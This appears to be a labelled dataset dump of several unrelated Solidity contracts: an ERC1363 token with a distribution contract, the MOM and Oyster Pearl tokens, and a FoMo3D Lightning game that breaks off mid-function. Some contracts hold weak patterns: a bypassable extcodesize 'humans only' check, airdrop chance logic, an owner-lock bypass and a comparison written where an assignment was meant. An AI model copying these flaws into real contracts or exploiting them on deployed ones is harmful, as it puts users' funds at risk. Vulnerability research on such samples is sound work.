contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract BaseToken is DetailedERC20, CappedToken, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{}
}
contract GastroAdvisorToken is BaseToken {
uint256 public lockedUntil;
mapping(address => uint256) lockedBalances;
string constant ROLE_OPERATOR = "operator";
modifier canTransfer(address _from, uint256 _value) {
require(mintingFinished || hasRole(_from, ROLE_OPERATOR));
require(_value <= balances[_from].sub(lockedBalanceOf(_from)));
_;
}
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap,
uint256 _lockedUntil
)
BaseToken(_name, _symbol, _decimals, _cap)
public
{
lockedUntil = _lockedUntil;
addMinter(owner);
addOperator(owner);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function lockedBalanceOf(address _who) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_who] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function addOperator(address _operator) public onlyOwner {
require(!mintingFinished);
addRole(_operator, ROLE_OPERATOR);
}
function addOperators(address[] _operators) public onlyOwner {
require(!mintingFinished);
require(_operators.length > 0);
for (uint i = 0; i < _operators.length; i++) {
addRole(_operators[i], ROLE_OPERATOR);
}
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addMinters(address[] _minters) public onlyOwner {
require(_minters.length > 0);
for (uint i = 0; i < _minters.length; i++) {
addRole(_minters[i], ROLE_MINTER);
}
}
}
contract CappedDelivery is TokenRecover {
using SafeMath for uint256;
ERC20 internal _token;
uint256 private _cap;
bool private _allowMultipleSend;
uint256 private _distributedTokens;
mapping (address => uint256) private _receivedTokens;
constructor(address token, uint256 cap, bool allowMultipleSend) public {
require(token != address(0));
require(cap > 0);
_token = ERC20(token);
_cap = cap;
_allowMultipleSend = allowMultipleSend;
}
function token() public view returns(ERC20) {
return _token;
}
function cap() public view returns(uint256) {
return _cap;
}
function allowMultipleSend() public view returns(bool) {
return _allowMultipleSend;
}
function distributedTokens() public view returns(uint256) {
return _distributedTokens;
}
function receivedTokens(address account) public view returns(uint256) {
return _receivedTokens[account];
}
function remainingTokens() public view returns(uint256) {
return _cap.sub(_distributedTokens);
}
function multiSend(address[] accounts, uint256[] amounts) public onlyOwner {
require(accounts.length > 0);
require(amounts.length > 0);
require(accounts.length == amounts.length);
for (uint i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 amount = amounts[i] * 10 ** 18;
if (_allowMultipleSend || _receivedTokens[account] == 0) {
_receivedTokens[account] = _receivedTokens[account].add(amount);
_distributedTokens = _distributedTokens.add(amount);
require(_distributedTokens <= _cap);
_distributeTokens(account, amount);
}
}
}
function _distributeTokens(address account, uint256 amount) internal {
_token.transfer(account, amount);
}
} | 1 | 5,059 |
contract MOM {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function MOM() {
initialSupply = 50000;
name ="MobileMoney";
decimals = 2;
symbol = "MOM";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 4,691 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterPearl {
string public name = "Oyster Pearl";
string public symbol = "TPRL";
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 public funds = 0;
address public owner;
bool public saleClosed = true;
bool public ownerLock = false;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Bury(address indexed target, uint256 value);
event Claim(address indexed target, address indexed payout, address indexed fee);
function OysterPearl() public {
owner = msg.sender;
totalSupply = 0;
totalSupply += 25000000 * 10 ** uint256(decimals);
totalSupply += 75000000 * 10 ** uint256(decimals);
totalSupply += 1000000 * 10 ** uint256(decimals);
balanceOf[owner] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
epoch = 60;
retentionMax = 40 * 10 ** uint256(decimals);
}
modifier onlyOwner {
require(!ownerLock);
require(block.number < 8000000);
require(msg.sender == owner);
_;
}
modifier onlyOwnerForce {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwnerForce {
owner = newOwner;
}
function withdrawFunds() public onlyOwnerForce {
owner.transfer(this.balance);
}
function selfLock() public onlyOwner {
require(saleClosed);
ownerLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet) public onlyOwner {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - 1);
payAmount = payAmountSet * 10 ** (uint256(decimals) - 1);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - 1);
}
function amendEpoch(uint256 epochSet) public onlyOwner {
epoch = epochSet;
}
function amendRetention(uint8 retentionSet) public onlyOwner {
retentionMax = retentionSet * 10 ** uint256(decimals);
}
function closeSale() public onlyOwner {
require(!saleClosed);
saleClosed = true;
}
function openSale() public onlyOwner {
require(saleClosed);
saleClosed = false;
}
function bury() public {
require(!buried[msg.sender]);
require(balanceOf[msg.sender] > claimAmount);
require(balanceOf[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balanceOf[msg.sender]);
}
function claim(address _payout, address _fee) public {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balanceOf[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balanceOf[msg.sender] + balanceOf[_payout] + balanceOf[_fee];
balanceOf[msg.sender] -= claimAmount;
balanceOf[_payout] += payAmount;
balanceOf[_fee] += feeAmount;
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
Claim(msg.sender, _payout, _fee);
assert(balanceOf[msg.sender] + balanceOf[_payout] + balanceOf[_fee] == previousBalances);
}
function () payable public {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 5000;
require(totalSupply + amount <= (500000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balanceOf[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balanceOf[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!buried[_spender]);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,941 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DLightning is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9Ac0a90554a1Cb542D1F7a5763F0180633433C50);
address private admin = msg.sender;
string constant public name = "FOMO Lightning";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 15 minutes;
uint256 private rndGap_ = 15 minutes;
uint256 constant private rndInit_ = 15 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 15 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(49,2);
fees_[1] = F3Ddatasets.TeamFee(49,2);
fees_[2] = F3Ddatasets.TeamFee(49,2);
fees_[3] = F3Ddatasets.TeamFee(49,2);
potSplit_[0] = F3Ddatasets.PotSplit(38,2);
potSplit_[1] = F3Ddatasets.PotSplit(38,2);
potSplit_[2] = F3Ddatasets.PotSplit(38,2);
potSplit_[3] = F3Ddatasets.PotSplit(38,2);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
